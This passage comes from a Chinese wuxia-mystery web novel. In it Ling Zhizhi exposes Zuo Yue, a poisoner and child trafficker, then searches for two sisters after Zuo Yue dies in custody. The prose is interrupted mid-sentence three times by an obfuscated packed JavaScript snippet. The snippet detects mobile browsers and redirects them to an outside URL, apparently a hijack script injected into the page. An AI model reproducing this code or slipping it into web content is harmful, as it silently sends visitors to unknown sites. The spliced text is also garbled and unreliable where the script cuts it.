阿荇擦擦眼泪,道:“别啰嗦了,快绑我去衙门吧。” “难不成,你还有帮凶?”令知知眼神犀利,转头问道,“左阅,你从刚才就一直抬脚观察鞋底,是怕我看不见你吗?” “我哪有?”左阅坐在轮椅上,不自然地在脚踏处磨了下鞋。 “小泥鳅不小心把你给跟丢了,还好小虾,又把你找回来了。”令知知像是说着什么谜语,其他人都小声讨论着。 “你瞎说什么?什么小泥鳅?”他眼神明显慌张了起来。 令知知摊开手帕,取出一只虫,道:“小虾从你房里还给我带来了这个,九香虫,你看你眼熟不眼熟啊?” 她将已经僵死的虫捧在手心里放到左阅鼻子旁边,又晃到戏院其他七个人旁边给他们看。 “戏院在竹林中,不少蚊蚁飞虫,我房间里有只九香虫,又有何奇怪的?”他那不到黄河不死心的犟劲儿啊,令知知气得扶额。 她走近后假意扇了扇空气,道:“是不奇怪,但你身上,怎么也臭臭的?” 左阅抬起手吸了吸鼻子,不以为然道:“我得了痢疾,身上难免会沾染些臭气。” 令知知奸笑:“是吗?来人,给我搜。” 虾兵蟹将默契十足,小蟹按住左阅,小虾伸手搜身,不一会儿就从左阅怀里找到一个臭气熏天的布袋子。 小虾捏着鼻子打开,道:“掌柜的,这袋子里装的都是九香虫。” 大家虽然没闻到多少味道,但看那布袋子脏兮兮的,上面还有不明的液体,都不禁屏气起来。 见左阅无动于衷,令知知扣扣脑门,有些不耐烦道:“好了,别装了,你又没真得痢疾。明明下午还跑得那么快不是?” 左阅无奈地起身,戏院众人惊异,他理直气壮地开口:“是,我是装病,那又如何,能证明我杀人了吗?” “我还以为你是个聪明人。”令知知走到他身边,道:“她们姐妹二人说你是易县人,我还觉得欣慰,觉得我大祺如今地域广阔,各州县也都打通了道路,拉近了大祺子民的距离。可你,作为一个易县人,竟然吃鸡肉。” 今日要说的话太多,令知知轻轻咳了两声,继续道:“众人皆知,那易县传说有凤凰扫羽而过,所以冬暖夏凉,在彻州算是个避暑胜地。当地人更是将禽类视为神兽,一生不食鸡禽。但我看你刚刚倒是吐了不少鸡骨头出来啊。” “我、我入乡随俗不行?”左阅额头已有冷汗冒出。 令知知没理他,继续说:“今天承桑公子倒是提醒了我,传说碃阳左氏善下蛊毒,可惜此法传男不传女啊。” “我说过,我并非碃阳人,况且据你所说,我是个男子,也不可能会习得此法。”他扭过头去,与令知知避开视线。 “且听我说完。执意习此法者,需割少海穴取血,升清降浊,补气归元。”她拉过左阅的手,撸下衣袖,露出他左手内侧的疤痕,“好巧哦,你此处也有这样的疤痕。” 天还亮着,大家都真真切切地看见了那抹疤痕。 “竟然是真的,是左阅杀了张简?”小阿四惊恐得张开嘴。 “我之前觉得奇怪,明明明天紫竹林戏院就要归承桑栩了,但为何偏偏今日我只花了五百两就赎了两个能说会唱的美人。后来,我见到这张文书便想明白了,今日五百两卖给我,明日又能拐回去卖给承桑栩。你说是吧,左阅?” 令知知把那张印有三颗红指纹的文书掏出,对着小阿四他们说:“你们其实心知肚明,这张简也并非什么善类。他原做的就是牙郎,后来遇上了左阅两人才合谋开了这戏院。若是拐来的孩童没有唱戏表演的天赋,就会被卖到青楼、煤窑,有的身体差些的小孩甚至被卖到黑肉铺去。” 小阿四拿过文书,递给识字的周午看,周午点点头,言简意赅道:“这上面写的是张简、左阅伙同阿荇一起要重新干牙行,恢复以前戏院里的生意。” 小阿四不解:“张老板不是说以后都不往院子里塞人了吗?” 原先紫竹林戏院的众人幼时正逢匪乱,家家日子都不好过,与其说大家是被拐来的,不如说是被家里人卖到此处的,所以众人对张简并未有多大恨意。 只不过在降服乱匪之后,张简就再未曾提过要给院子里添新人的事儿,大家也就顺其自然地以唱戏演剧为生。 “这么说,阿荇你也知道……”周午他们的眼神里不知装着什么,看得阿荇心慌。 “对、对不起。”阿荇实在不知该如何面对这群往日一起嬉笑打闹的好兄弟们。 “我们知道我们是被拐来的,但过去拾荒要饭的日子太苦,在戏院里能有地方睡、有钱可赚,更重要的是有志同道合的朋友彼此依偎。但我们却不知,张老板,哦不,张简他们竟然要继续干如此龌龊事。”小阿四泪光闪闪,声音颤抖,“我视你们为父亲,为兄长,为朋友,那你们呢,是不是将我也视作那被困在笼子里的可以赚钱的鸡仔?” 小阿四的表情已经狰狞,他才出生母亲就跑了,父亲把他卖来戏院当营利的工具,什么苦没受过。但唯独这次,他苦得忍不住想上前打左阅几拳。 “小阿四……”其他人连忙上去拦住他。 后院一片混乱,令知知倒显得沉着起来。她从中间窜出问道:“说说吧,明明一起约好要干牙行,怎么又把张简给杀了?” “呵,他也配,仗着比我大几岁,真把自己当我哥了?看那纸上写的你们还不明白吗,女的归我和阿荇卖,男的归他自己卖。女的能值几个钱?我还要和阿荇分,如何分得?当初这个戏院也是我建起来的,他倒好,抢了我的风头不说,如今还要占我的便宜,如何了得?早看他不顺眼了,就在他体内中了蛊,看他一日不如一日,我便心中痛快。但,没想到竟然是今日毒发。”左阅像头走火入魔的野兽,不管不顾地发泄着。 天边晚霞燃起,如火般明艳,照得每个人脸上红扑扑的。如此美景,配上灯笼红帐,若是没有发生此等要事,还真值得好好停下来欣赏片刻。 “阿荇,你爱的就是这般愚昧的男子吗?”令知知一字一句,“视女人如鼠雀,视生命如草芥,这样的人,值得你的爱吗?” 想起了那一双双被困住的充满童稚的眼眸,那一声声动听的“姐姐”,阿荇无力道:“只是从我撞破他二人之事起,便无力回天了……他们用阿姐威胁我……我,我打算偷偷放了那些女孩的,她们,很像我和我姐姐小时候……” 令知知没有料到阿荇还未糊涂至极,道:“真的?” 阿荇不知道在想些什么,说话轻声轻语,早就没有初见时的威风:“我做不到将每个女孩都放出去,但,两三个吧,在书肆里帮忙打扫整理。” “就没人发现?”沉默了很久的陈鱼开口。 “没有,就那两三个,谁也察觉不到。年纪更大些的,我也藏不住。”阿荇应该是想起了孩童的可爱容貌,无奈地笑笑。 “阿荇,你明明心肠这样好。”阿藻心疼地抚摸着她已经凌乱的发丝。 小阿四他们一群人也跑过去将阿荇围住,眼里早没了愤恨,皆是对这个从小一起长大的小妹妹的心疼。 趁着大家的注意力被姐妹二人吸引,令知知一个健步拉过左阅,顺手推开后面的房门,还没等左阅反应过来就将他塞了进去。 “干嘛?”左阅的肩膀被拽得生疼。 她皱起眉头,严肃道:“你给张简下的什么蛊?可有解药。” 左阅像是抓到了令知知的小尾巴,并非好意地笑道:“张简已经死了,你问这有何用处?除非……” 他勾起嘴角,露出阴险狡诈的模样,把令知知吓了一跳。好在她早就探过左阅的武功,不过是寻常三脚猫的功夫,还不足以畏惧。 “我问你话呢!”令知知抽出小刀抵上张简的喉咙,露出凶狠的表情。 见令知知如此紧张,左阅说:“前朝我左家以制蛊毒闻名天下,那声誉势力,和鲁班阁当初的名头可差不了多少。”他笑里藏刀,句句戳心,“可惜,再也回不去从前了。” 他这番话一出,令知知瞬间惊得冒了一阵冷汗。左阅究竟知道些什么? 令知知不知自己是哪里露了馅,既紧张又愤恨。看来眼前人与几年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083334|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的旧案脱不了干系。 “你……”令知知这些年和孙客一路躲躲藏藏,这还是第一次穿帮,前所未有地慌张了起来。 左阅见令知知盛气凌人的气势锐减,胆大地用手扶着刀刃,凑近令知知的耳朵道:“你保我,我便告诉你解药。” 就在此时,孙客见令知知在房间里待了太久,怕出了什么事情,急促地敲门道:“知知,你还好吗?” 左阅见状故意道:“这蛊毒可不寻常,越贵的越珍惜的药材吃进去反而助长毒性,而且随着年岁的增长,它会入侵肺腑。你想让你心爱之人体会抓心挠肝之痛吗?你忍心看他变成失性的疯子,变成残暴的野兽吗?”他愈发不遮掩,尽显奸诈本色, “哈哈哈哈哈哈,到最后,他挺不住了,便会满手鲜血地求你一剑刺死他。” 说着他将令知知握着刀的手用力一抽,将刀再次放在他自己的脖颈上,顺势揽过令知知的腰,道:“你呢?会忍心给他一个痛快吗?” 令知知一时不知如何是好,背上早就被惊出了一层冷汗。 外面是孙客的敲门声,里面是左阅讽刺的笑声,到底该如何抉择? 她用力掰开左阅的手,将刀收好。离开前丢一下一句话:“让我再考虑考虑。” 推开门,孙客担忧地问她怎么了。 她回头看脖子上有一道血痕的左阅歪着头一脸坏笑,和孙客说:“没事。”然后派小蟹将左阅捆好带出。 只是谁也不忍将阿荇捉拿,但令知知依旧认为人应该为自己做错的事情负责,待重新整理好心情,她打断依依不舍的姐妹二人道:“既然已经水落石出,该押的押,该放的放吧。” 令知知摆摆手,向远处观望的肖有道点点头,利落地转身回房间去了。这种分别的场面,她最见不得了。 而如今,还要再多加考虑一件事。 “知知?”孙客在门外轻声叫她。看她心情不好,他可是费了好大劲才爬上三楼。 令知知靠着窗,看着远处的光亮渐渐消失,思绪万千。听到孙客喊她,才终于眨了眨干涩的眼,过去开门。 看那绳索还拴在柱上,她懊恼道:“今日事太多,我忘记放绳索了。”她捏着孙客的肩膀让他转了一圈,“怎么样?还好吗?哪里不舒服?” 孙客见她这么关心他,得意地笑道:“无碍。” 令知知拉他进房,给房间添上蜡烛,又给孙客添水倒茶、捏肩揉腿,倒像是位真贤妻。 孙客舒服地闭上眼享受片刻的温柔,有些不合时宜地开口:“令知知,今日你拉左阅进去说了些什么?” 令知知还没想好怎么搪塞过去,随便说了句“没什么”。 她都没觉察到自己咬破了嘴唇,嘴角咸腥的血像是点了红唇一抹。 “ 你是不是怀疑他和当初那个刺客有关联?”孙客倒是直白,睁开眼睛看着正帮他按摩小腿的令知知。 令知知不语,小嘴一抿,手上的劲儿使得更重了些。 “是不是他以解药威胁你?”孙客又问。 不知何处从窗外吹来一阵风,将桌台上的蜡烛吹灭了。令知知神情复杂,不知道该说些什么。 “我这毒,是不是解不了?”孙客的眼睛又大又圆,倒像是只猫似得盯得令知知心里不知所谓。 接二连三的发问,早就让令知知忍不住了,面无表情地起身,借着点亮蜡烛的机会背对着孙客。 孙客早就觉察到了不对,冲过去站在她身后说。 “知知,你做得对。若为了我们一己私欲放了那牙郎,那还有多少孩童要经历如同阿藻阿荇那般的苦楚。” 令知知没有流泪,只是担心地回头看他,“可你的病……” “死就死了,与你们相识,此身无憾了。”他的瞳孔里印着烛光,满是坚定。 他还不知道这毒会使他发狂,会让他在绝望和痛苦中死亡。 还不是时候,还不是时候。令知知站在窗边看着远处一闪一闪的星默念着。 天色终将暗了下来,尘世中的种种也就跟着沉寂了起来。只是那些星此时如同刺入指尖的尖刺般,还在寂寥中闪烁着,提醒着该忘的人别忘了。 13. 线索断了 天刚刚见晓,就听见远处传来几声狗吠。 令知知彻夜难眠,每每入梦就被左阅那惊悚的笑容惊醒。狗吠时,便再也睡不进去了,索性坐起来伸了个懒腰,拿过床头木的偶摆弄起来。 只过了一刻钟,一声木门剐蹭到金属壁面的巨响传来又接着就听见小蟹腰间钥匙碰撞在一起的声音。 应是他就来做工了。小蟹是几个伙计里年纪最长的一位,也是最早跟着令知知干活的一个。 同哥几个原先都住在孔明楼内,后来就在从朝冕城搬来白子城的前几天,与朝冕城菜市里卖肉鸡家的女儿看对眼了。 后来令知知出钱下了聘礼,二人成了亲,就在朝冕城简单地请了一顿酒食,然后又借钱东拼西凑地在白子城孔明楼的前头买了一间老旧的屋子,白天小蟹来店里干活,他妻子玉蓉就替人缝补衣物,两个人就这样过着自己的小日子。 令知知随意地将木偶背部的一块背板按下,从它的口中就随即吐出一团白烟。许是还是滞时了些,令知知不满意地撇了撇嘴。 只是这次,只听见小蟹开门的声音,却未听见闭门的声音。令知知竖起耳朵辨别了起来,几声急促的脚步声从楼下传来。 “不好了,掌柜的!”小蟹焦急的声音在楼里回响着。 令知知利索地穿上鞋推开门,道:“何事如此惊慌?” “那左阅,今日被发现死在禁所中了。”他气喘吁吁道。 左阅死了?令知知所掌握的关于那次刺杀的线索断了,能治愈孙客所中之蛊的线索也断了。 这一切,定是有人在背后捣鬼。 孙客也闻讯推开门,站在长廊上与令知知隔空相望,一切像是早有预料一般,那左阅,不过是七年前刺杀的一枚棋子罢了。 “有人杀他?”孙客走过来,腰背打直,俨然如寒松般。多年来,他早就跳脱出了那身居庙堂中人居高自傲的品性,一次受伤、一次蛊毒,他早就变得平易近人、忠厚老实。只不过那举手投足都是过去在深宫里养成的习惯,他自己注意不到。 陈鱼应是也被犬吠吵醒了,早早的就在厨房里忙活着。她从厨房里推门而入,一股掺杂着苦药味的淡淡粥香在楼里弥漫着。 “我家旁边挨着一禁子,今早听见隔壁有几个禁子说话的声音,说是姓左的死了。几个人走得匆忙,碰倒了几个陶罐,随着狗就叫了。”小蟹道。 令知知跳下去,拍了拍小蟹的肩膀对他说:“去探探口风,问清楚几时死的,为何而死,可有疑凶。” 小蟹重重点头:“是。” 令知知到后院打开小泥鳅和小虾的大门吼到:“江湖救急!” 小虾不情愿地睁开双眼,道:“掌柜的,不是说今日放假吗?” “实在是有要事相求!”她将小虾扶起来,又去拉睡得死死的小泥鳅。 小泥鳅这名字实在取得好,拉起来又掉下去,活像满身滑腻的真泥鳅。 “快起来!”令知知怒吼,身为掌柜的,居然连几个小伙计都搞不定。 不知何时,陈鱼竟然也进了房间。她只用不大不小的嗓音淡淡开口道:“起床。” 小泥鳅和小虾像是条件反射般,立马从床上扑腾起来,毫无困意地眨巴着眼睛。 还得是陈鱼的话好使啊,令知知自知比不过,偷摸从背后伸出手给陈鱼比了个大拇指。 他们二人还未穿戴整齐就大步迈出房门,手上还扣着扣子。孙客端过来两碗尚存温热的清粥,给他们递过去。 “今日到底发生了何事?”他们像是已经习惯了急事突发似的,边朝外走边喝着粥,问道。 “左阅死了。”孙客边走边给他们背好挎包,里面装的都是些简易工具和令知知做的小暗器,“李菊郎已经去了,你们去找他,他会告诉你们该怎么做。顺带把这个烧饼给他带过去。” 二人扒拉着最后几口粥,踏出门前恰好放在最外面的桌上,一切如行云流水般。 送走他们,楼里三个人站在阶梯上遥望着渐行渐远的背影,如同送孩子上学堂的家长。或许是这副张望的模样对于几个年轻人过于怪异,令知知扭过头看孙客和陈鱼,不合时宜地笑了出来。 到楼中坐下,他们分析着还应该做些什么。 “陈鱼,既然那左阅就是碃阳人,你可还知道有关碃阳左氏的事?”令知知问。 陈鱼摇摇头,欲开口,又吞了下去。 “若你不想去问承桑栩,我们也不逼你。”昨日承桑栩让陈鱼跟他回梦寻春处,陈鱼也婉拒了,不知他们二人究竟有何事瞒着大家,但终归是个人私事,令知知也不好逼迫她。 陈鱼忽然面色铁青道:“我们是不是忘记了一个人?” 众人这才想起昨天住进楼内的阿藻来。他们蹑手蹑脚地走到阿藻房门口,轻轻敲着门,生怕吵着她。 陈鱼直接一个猛劲儿推开门,门没锁,里面也空无一人。 “刚刚你们几个那么吵,就是小玄武也被你们吵醒了。”小玄武是令知知“养”在后院池子里的一只石乌龟。 令知知挠挠头,说:“怎么办,阿藻跑哪里去了?” “或许最坏的结果是,禁所里有人来找过她。”孙客拿起门边被挂住的布条,“这是粗麻料子。” 这种料子都又脏又破,看陈旧感很像禁所里的囚服,或许有好多个犯人穿过。几人再检查着周围,窗框上还有刀劈过的痕迹。 “我已叫小蟹去探探阿荇的消息,如果她不在牢中……”令知知叹了口气,“愿她不在牢中。” 他们几个与阿藻阿荇目前只能算是萍水相逢,彼此都知之甚少,唯一有可能找到他们的地方只能是紫竹林戏院了。 这时,班绫带着一群手下又来闹事了,她手握斩锦刃,嘴里叼了根不知名的野草,乌泱泱一群人如地痞流氓般闯了进来,她呸了一声将草随意吐在令知知特意定做的虎皮垫子上,毫不费力地将旁边放着粥碗的桌子从中劈开,喊道:“令知知何在?” 几个在后院的人如同被惊起的猫崽,全身毛孔骤然紧绷,面面相觑。几处密集的脚步声越来越近…… 令知知眼睛一瞟,示意从后门逃走。三个人就这样弃楼而逃了。 “说真的,班绫这副模样,还真吓人。当初,她就是如此天天拿着个大刀对着我乱吼乱叫的,不知平日里张阿嫲教的礼仪都学到哪里去了。” 令知知蹲在小蟹家隔壁的禁子院中,拿起残破的陶片,明明有要案发生,嘴里偏偏还念叨着班绫。 陈鱼依旧是一副冰冷表情,道:“你要是想她,就去找她,别像个老和尚似得在我耳边念叨。”说完就走回隔壁用早饭去了。 这一早,令知知走在路上从班绫的斩锦说起,到讲自己怎么被班绫捉弄,事后又受到了如何惩罚,一路班绫这班绫那的,再沉默寡言的陈鱼也被逼得骂了两句。 “我很烦吗?”令知知望向孙客,眼睛水汪汪的。 孙客是个好脾气的,但挑眉也逗她道:“不如你理解为,她在夸你比较健谈。” “孙客,以前倒没觉得你牙尖嘴利过。”令知知扭扭屁股也走到小蟹家去了。 孙客在后面打扫几人在院中留下的痕迹。 从楼中逃跑之后,去了衙门被赶了回来,再快马跑去紫竹林中,发现里面也人去楼空了,这一大早的时间净被浪费完了。 说是回楼里吃个午饭,却远远望着孔明楼外还站着几个班家门丁,令知知他们三个人没地方去,就想着到小蟹家先等消息,下午再寻机会回楼里。 “弟妹家这饭可真香。”看着玉蓉端上来的饭菜,再想想自己早上喝的掺有药味的粥,她下意识地脱口而出。 好在她瞥了一眼陈鱼,并无异样。令知知暗暗舒了口气。 “哪里哪里,令掌柜莫嫌弃,这菜……做得有些匆忙。”她坐在令知知对面。 令知知率先挑起一块牛肉放入口中,惊呼:“真是太好吃了!” “好吃就好。”玉蓉听后安心地拿起碗,盛了一碗米饭。一个没拿稳,竟然连碗带饭地倒扣进了一盘什锦蔬菜里。 她清秀的面庞透露出一丝慌张,连忙拿起碗,结果饭还留在盘中,她尴尬道:“真是不好意思。” 令知知拿起那盘菜,说:“无事,我吃这个什锦蔬菜盖饭,正好昨日吃肉吃腻了些,吃点蔬菜清清肠子。” 孙客拿过令知知的碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093692|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再把自己的碗拿到玉蓉面前,顺着说:“我的这碗还没动过。” 玉蓉当然知道二人的好心,孙客和令知知已经忙不迭地将饭送进嘴里了,她也不好再推脱什么,道了个谢。 “你的手?”刚刚忽视眼前一切的陈鱼说话了。 众人目光瞬间都汇聚在玉蓉的手上,她的左手上有许多褐色的斑点。 “噢,这几日眼力不行了,被针不小心戳到的。”她不好意思地笑笑。 令知知这才明白为何刚刚玉蓉会失手将碗掉入菜中,心疼道:“你这手原先又细又嫩,现如今都不如我一个干活的人的了。” “菊郎出去做工,衣裳鞋袜磨损得快,我也没事情干,总想着能多帮他一些。”她夹起米饭送进嘴里,虽是寻常动作却十分温柔得体。 令知知撅起嘴,歪着头道:“不如你也到我们孔明楼里做工吧!” 她想着,反正已经收了阿藻了,不如再给她找个同僚解解闷。这二人性格很像,应该能相处得好。 “这……这能行吗?”玉蓉将碗放在大腿上,眼里闪过一丝火光,却又很快暗了下去,“你们孔明楼才开业不久,又有鲁班阁这个竞争对手,多一个人岂不是增加你们的负担嘛。” 令知知见她有意,道:“我们前几日有四五个杂役跑了,你来,还能帮我们做做菜,打理楼内事务,我们可欢喜得很。” “真的吗?”她眼里充满期待。 “自然。明日就来!”令知知爽快道。 玉蓉实在欢喜,跑去给令知知倒了一碗酒,孙客顺手接过去一饮而尽。 “掌柜的,总算是找到你们了!”小虾一个踉跄差点摔进院里,看着眼前正享用着美食的四个人,咽了咽口水。 令知知见他便煞地起身,作可怜状:“你们终于来了,让我们好找。” “小蟹和小泥鳅追阿荇去了,让我回来给你们报个信儿,可我看那孔明楼里乌烟瘴气的,门口还站着两个面目凶狠的男子,就想着你们可能在这儿。”他喘着粗气,令知知给他灌了一碗汤。 “说重点!”她急切地问。 他邋遢地抹了抹嘴角的汤汁,道:“小泥鳅去和他的旧相识打听,说好像是昨天左阅自己把责任担下来了,所以昨天阿荇根本没被关起来。衙门里也不让多问,就只知道这些。后来我们想着去紫竹林戏院找找看,没想到阿荇正躲在里面呢,一见到我们她撒腿就跑,小蟹和小泥鳅腿脚比我麻利些,就先追去找她了。” “难怪我们去紫竹林戏院时,里面有翻找的痕迹。这阿荇应该是回去了一趟。”令知知摸着她根本不存在的胡子,像个夫子般,“既然阿荇根本没有入狱,那抓走阿藻的另有其人啊,恐怕事情比我们想象的还要复杂上许多。” 小虾这时正一寸一寸地慢慢蹲下,想坐在孙客旁边,令知知真思考着,看他慢悠悠的样子急性子地一掌按下,他尖叫:“掌柜的!我的屁股!” 令知知忘记昨天小虾替他跑腿的事情了,有些歉意地给他夹了一块鸡屁股,微笑着说:“抱歉,补一补。” 玉蓉看着滑稽的两人,浅浅地笑了。 吃完饭,令知知几人准备也去找找阿荇的下落,她拿出几根信烟递给其他四个人,然后对着小虾说:“你说,这小泥鳅怎么会认识衙门里的禁子?” “小泥鳅和那禁子是青梅竹马,哦不,竹马竹马。”小虾脸上都是八卦,“据说,关系好得不要不要的。后来那禁子的爹发了笔横财,就给他儿子买了个官位,喏,前不久刚调来白子城。” “小泥鳅是哪里人来着?”令知知当时招得人都没问过还没把几个人的身世弄清楚。 小虾道:“我来得比小泥鳅晚,但依稀听他提起过,好像是……彻州涓县旁边的杨家村吧!” “彻州?”又是彻州,令知知条件反射地脱口而出,然后咳了几声,“陈鱼小虾,你们去打听一下孔明楼后面那条街巷有没 有人见过阿藻,我和孙客去找小蟹他们,玉蓉,你就在此处等消息。若有发现,就放信烟。” “是!”几人答应得很迅速。 这信烟一放必然会引起官差的注意,但关乎人命,箭在弦上不得不发。 14. 破镜重圆 顺着紫竹林里的痕迹,令知知和孙客来到一处温泉村落附近。他们停在村口的石牌坊下,能看见远处烟雾缭绕的水汽笼罩着整片林子。 “到此处,脚印便没有了。”孙客左右张望了下,确定道。 令知知虽然是白子城人,但还是第一次来这温泉村。说起来,这温泉村的各个地段的泡池还是由鲁班阁的大师兄白善居依据当地风水筹设的。白师兄当时回来画图纸时给阁里的兄弟姊妹们讲过,温泉乃是最有利于实现“天人感应、通气顺意”的好地方,只要“山环水抱”,那必然能积聚起有灵性的气场,对于修行之人而言,那都是可遇不可求的,不少武林中人都盼着这温泉村早日修葺好,在此处练功,一劳永逸。 令知知一向对这村落建筑尤为好奇,后悔当时未曾好好向师兄讨教风水一学。她看着这座被白雾掩埋着的村落,心里隐隐有些预感:“不如进去看看?” 二人顺着指示牌进到村落里,雾蒙蒙的山道上竟一个人也没有,脚下的泥土也由于长期泡在如此浓雾之中而变得湿润,石阶上也多有苔藓。 他们二人小心翼翼地走着,愣是一个人都没见到,甚至可以这样说,除了泉水流动的声音,周遭安静得如墓穴般。五月的天气,竟有丝丝凉风吹过。 孙客顺着风去的方向扭头,只见浓雾重叠,微微担心道:“你还记得来时的路吗?” 令知知也扭过头去,那雾仿佛变成了一道墙,连刚刚才走过的石桥都不见了踪影,她道:“这雾气,是不是太夸张了些。” 这温泉村定是后来被改动过,不然不可能会汇聚如此多的浓雾。就算再讲究聚气,上不见太阳,下湿地泥渍,就算是个外行人也看得出此景并非是个好征兆。 令知知来回张望着,试图从中看出点什么。 “说起来,不觉得头有点晕吗?”孙客看着一个令知知变成两个,那双大眼睛时不时变成四只,手不自觉地为了保持平衡在空中扑腾了几下,最后还是没能撑住,在令知知一声声担忧的叫喊中倒下了。 再醒来时,两人在小木屋中。 从小窗看出去,那雾气在两里地外,此处有些硫磺的气味。 “孙客?”令知知果然体格要好些,晕得晚也醒得早。她倚在墙边照看着孙客,就像当初照顾身负重伤的孙近燕一样。 孙客也如几年前那样艰难地强睁开眼,问:“我们这是在哪里?” “这是真正的温泉村。”身着窃蓝色衣袍的女子端来一碗汤药。 孙客被令知知扶起身,眯着眼使劲儿看清这人的面貌。 “孙客,这是阿荇没错。”令知知见他体力不支,接过汤药喂给孙客。 孙客虽然怀疑,但令知知在此,他也就先放下了疑虑,喝下了汤药。 后来,令知知一边替他仔细的擦脸,一边和他解释: 阿荇被放出来后,有武功高强蒙面者追杀她。她为了躲藏,误打误撞进了一户人家的后院,便随便拿起一件衣服换上。等到外面没了动静,她跑到孔明楼想寻令知知他们以求帮助,没想到又有一人正想翻阿藻的窗子进去,于是她抽起院子里砍柴的斧子砍去,吓退了那人,应该也就是那时刮破了衣角。她趁那人还未反应过来,拉起惊慌失措的阿藻一路逃跑,先回戏院想拿些盘缠傍身,没想到小蟹他们几个追了过去,被她们误以为是黑衣人,姐妹二人就一路顺着山路逃到了这个温泉村中来。 孙客听到这,不由叹气道:“这一早,居然发生了如此多事。” 说来也十分神奇,喝完这药后神清气爽,孙客的头也不疼了。 “既是蒙面而来,定是另有图谋之人。或许左阅也是为他们所杀呢。”令知知骂道。 阿荇木木地开口:“一定是他们。” “对了,那这烟瘴?”孙客看向远处的雾霭茫茫。 “好像是温泉村不知为何后面落败了,一个叫羌青的女子到此修炼,为了避免打扰就在外面设了迷障。这温泉水配上村中的三色堇便能解毒,让人清醒过来。” 羌青?又是这个人,孙客看了一眼令知知,又看了看阿荇,问:“你是如何知道这些的?还有,为何我比知知先晕倒,又比她后清醒?” “碃阳左氏一脉研制蛊毒而闻名,这羌青又是医士,对制药有研究,两方有交易往来。此处益于凝神聚气,左阅以前带我来过此处疗愈。至于你……” 令知知打断她,问道:“你说,左阅带你见过羌青?” “自然。”她挑了挑脖子。 “她在哪?”令知知站起,严肃地问。 阿荇有些疑惑地问:“你们孔明楼中的陈鱼,不是和承桑栩交好吗?她没告诉过你们,羌青就是承桑栩门下徒吗?” 令知知和孙客的眼神对视,挠挠脑袋解释道:“这是她的事,我们都不方便过问。” 陈鱼啊陈鱼,你究竟还有多少事瞒着我们。说到底,还是没有将我们当做好朋友,这颗石头心,根本捂不化嘛。令知知心里头抱怨道。 “那你们又是如何认识的陈鱼?”阿荇的好奇心上来了,索性坐下听他们几人的过往,她故意说,“要知道,以后我和阿姐都要在孔明楼做工,若是东家小厮之间有秘密,那可不好办。” 她用指头敲着木桌,发出有节奏的声响。 阿藻此时也托着装着干净衣物的托盘进来,阿荇往右边挪了挪,示意她坐下听故事。 “这有何瞒着你们的?”令知知清清嗓子,用响亮的嗓音编着似真似假的瞎话:“我和孙客几年前闯荡江湖之时,为不知名之宵小所伤,隐匿于朝冕城边的一处树林中。我们二人身负重伤,遇上正在替一女游医寻药的陈鱼,便将我二人带往游医住所医治。由此,便认知了。” 阿藻点点头,她是个懂分寸的,别人说到哪儿她就听到哪里。偏偏阿荇话又多又戳心窝子,两姐妹完全相反。 阿荇不依不饶,打破砂锅问到底道:“那女游医是谁?难不成就是你们要找的羌青?” “不是。”令知知打了个哈欠,想表现出自己很累不想继续玩这种“你问我答”的游戏了。 阿荇不知是假装看不见还是比较天真,她坐得更近了些,道:“那那个不知名的人,你们可寻到他了,报仇了没有?” 令知知眨眨眼睛,笑而不语。 还是阿藻识得眼色,拉过阿荇的手道:“阿荇,我们出去吧,让他们再好好休息休息。” 阿荇一脸未得逞的丧气表情,嘟着嘴就被阿藻拉走了。 令知知过去将门掩上,道:“如今看来,阿荇年纪小些,懂的人情世故也少些。怪不得会被那左阅骗去。” “多情误女子啊。”孙客莫名其妙说了这样一句话。 “那你们男子呢?自古风流又多情!呸呸呸!”令知知锤了锤孙客的腿,也莫名其妙地回答道。 令知知突然想起来信烟的事,说:“如今阿藻阿荇、小蟹小泥鳅他们均无危险,若燃放信烟定徒生事端,若你好些了,我们还是速速启程吧!” 孙客点点头,准备起身。 令知知也出门寻小蟹和小泥鳅去了。没想到的是,薄雾中几个人坐在池边,正在戏水言笑。 见令知知来了,小蟹晃着池中的腿憨憨一笑,道:“掌柜的,不如你也来泡池中试试,真是好!” 阿藻和阿荇在旁边逗着小泥鳅,将他的湿发团在脸颊处,像他们唱戏的人那样。 “这就是……聚气凝神?”令知知试探道。 “掌柜的,你就试试吧,我现在感觉我全身都通透了!”小泥鳅也怂恿着。 “那我约孙客过来试试。”有什么好东西,令知知想到的第一个人总是孙客。 当双足泡入水中时,就像温暖的棉花轻轻包裹着双足,每一寸肌肤都被水流轻柔地抚摸着。 这一行人疲惫的身心终于得到了彻底的舒缓。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114944|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 足足等到夜幕低垂,繁星点点时,令知知一行人才流连忘返地回到小蟹家中。 